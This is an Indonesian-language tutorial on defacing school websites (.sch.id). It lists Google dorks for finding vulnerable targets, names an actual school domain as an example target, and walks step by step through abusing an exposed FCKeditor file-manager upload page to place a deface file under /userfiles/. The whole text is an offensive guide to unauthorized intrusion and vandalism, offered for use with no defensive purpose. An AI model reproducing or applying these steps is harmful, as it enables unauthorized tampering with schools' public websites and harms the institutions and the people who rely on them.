Deface Situs Sekolah (/.sch.id)

Ngomongin soal deface mulu kayanya asik deh .. maka dari itu saya akan membagikan cara untuk deface situs sekolah caranya simple dan cukup mudah .. Namun kita harus menggunakan script deface berformat .txt tidak bisa .html  ..

Cara Deface Situs Sekolah :

1. Pergi ke google.co.id

2. Cari target dengan google dork berikut, pilih satu aja  :

inurl:/html/siswa.php?

inurl:/html/alumni.php?

inurl:/html/guru.php?

 
3. Pilih salah satu target .. dan tambahkan exploit ini setelah nama domain : /editor/filemanager/connectors/test.html

Seperti contoh ini target ane : http://www.smapgri2palembang.sch.id/

Maka setelah ditambahkan exploitnya akan sperti ini : http://www.smapgri2palembang.sch.id/editor/filemanager/connectors/test.html


4. Ganti ASP Menjadi PHP dan pilih choose file, pilih script deface kamu yang berformat .txt jangan yang berformat .html karena nantinya akan eror ..

5. Lalu klik upload , jika berhasil akan muncul notice ' File Uploaded With No Error

6. Lalu tambahkan ini /userfiles/namafilekamu.txt setelah nama domain
atau jika tidak bisa tambahkan yang ini  /userfiles/file/namafilekamu.txt  setelah nama domain
NB: yang berwarna merah silahkan ganti dengan nama file kamu yang berformat .txt

7. Maka akan menjadi seperti ini :http://www.situstarget.sch.id/userfiles/namafilekamu.txt
Atau http://sitetarget.sch.id/userfiles/file/namafilekamu.txt

8. Tekan ente, DONE!!!